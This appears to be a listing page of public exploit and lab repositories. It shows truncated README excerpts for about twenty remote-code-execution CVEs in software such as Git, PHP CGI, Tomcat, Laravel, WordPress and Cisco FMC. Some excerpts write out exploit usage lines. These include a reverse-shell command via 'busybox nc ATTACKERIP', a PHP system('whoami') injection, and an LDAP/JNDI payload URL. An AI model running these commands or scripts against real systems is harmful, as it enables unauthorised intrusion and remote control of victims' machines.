CVE-2024-32002

GIT RCE CVE-2024-32002 Description | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to...

CVE-2021-44593

CVE-2021-44593 Public disclosure of CVE-2021-44593. A SQL injection/arbitrary file upload/remote code execution vulnerability in Simple College Website. DESCRIPTION Simple College Website 1.0 is vulnerable to an unauthenticated union-based SQL injection in the "username" parameter of the...

CVE-2017-12615-Home-Lab

ENGLISH BELOW CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Lab นี้จำลองช่องโหว่ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload เกิดจากการตั้งค่า readonly=false ทำให้สามารถอัปโหลดไฟล์ผ่าน HTTP PUT ได้ รวมถึงไฟล์ .jsp ที่สามารถรันคำสั่ง RCE Features Apache Tomcat 7.0.79...

CVE-2024-4577

CVE-2024-4577 PHP CGI Remote Code Execution Exploit Author: Byte Reaper CVE: CVE-2024-4577 Category: Web Exploitation Target Versions: PHP CGI 8.1, 8.2, 8.3 Target OS: Windows License : MIT Overview This repository contains a proof-of-concept exploit for the CVE-2024-4577 vulnerability in PHP CGI...

CVE-2020-11546

CVE-2020-11546 SuperWebMailer RCE USAGE python3 CVE-2020-11546.py -h, --help show this help message and exit python3 CVE-2020-11546.py -u https://target.com...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

WordPress_4.9.8_RCE_POC

Summary A simple PoC for WordPress RCE author priviledge, refer to CVE-2019-8942 and CVE-2019-8943. Affected Version WordPress " 3. Detect current theme by WPScan wpscan -u -et, e.g. twentyseventeen as default in wordpress 4.9.8 4. Upload the payload image file poc.jpg Login the author account;...

CVE-2021-3129-Script

CVE-2021-3129 Laravel = v8.4.2 debug mode: Remote code execution CVE-2021-3129 Use： python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try to use Laravel/RCE3 for...

CVE-2020-2950

Oracle-BI CVE-2020-2950 AMF deseiralize Version: 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 Install:https://www.sql.edu.vn/obiee/oracle-business-intelligence-12c/ Ref: https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f Exploit - PoC amf.bin Header c...

cve-2024-4577

cve-2024-4577 poc Check for vulnerabilities python cve-2024-4577.py -u http://172.16.128.133 After a vulnerability is detected, you can use -c to execute a custom command python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2021-40444-exp

CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...

CVE-2014-0196

See https://vulners.com/cve/CVE-2014-0196...

CVE-2026-34159-Vulnerability-Research-Analysis-Detection

CVE-2026-34159-Vulnerability-Research-Analysis-Detection Critical buffer validation bypass in deserializetensor llama.cpp b8492. Null tensor buffer skips bounds check, enabling unauthenticated arbitrary R/W via GRAPHCOMPUTE. ASLR bypass + RCE over TCP 50052. Contains: Technical analysis & exploit...

CVE-2026-17532-lab

CVE-2026-17532 Lab - Seraphinite Accelerator: unauth XSS → 1-click RCE A Docker lab for CVE-2026-17532 , an unauthenticated reflected XSS in the WordPress plugin Seraphinite Accelerator that chains into remote code execution the moment a logged-in administrator opens one crafted link. Full writeu...

CVE-2026-20131

CVE-2026-20131 — Cisco Secure FMC Remote Code Execution Java Deserialization Severity: Critical CVSS 3.1: 10.0 CWE: CWE-502 — Deserialization of Untrusted Data Affected: Cisco Secure Firewall Management Center FMC Software Advisory: cisco-sa-fmc-rce-NKhnULJh Bug ID: CSCwt14636 Overview A...

CVE-2019-11395

CVE-2019-11395 Exploit 🛡️ About CVE-2019-11395 🕵️ The CVE-2019-11395 vulnerability describes a buffer overflow vulnerability in the MailCarrier 2.51 email application, allowing remote code execution. The vulnerability occurs in SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP, or POP3 RETR processes...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2024-38063

CVE-2024-38063 — Windows IPv6 Stack Vulnerability Analysis & PoC -red Technical analysis and Proof-of-Concept PoC for CVE-2024-38063 , a critical Remote Code Execution RCE vulnerability in the Windows IPv6 stack tcpip.sys. Discovered by KunLun Lab, this issue is zero-click , meaning it can be...

Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE

Exploit Author: Abdualhadi Khalifa https://x.com/absholi7ly Version: Elementor Pro = 4.2.1 Tested on: WordPress + Elementor Pro 4.2.1 Windows / Laragon / Apache CVE: CVE-2026-32475 Credits: Vulnerability discovered by Tin Pham TF1T via Patchstack Bug Bounty Program Category: WebApps Description:...

CVE-2021-41773

CVE-2021-41773 🐛 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like...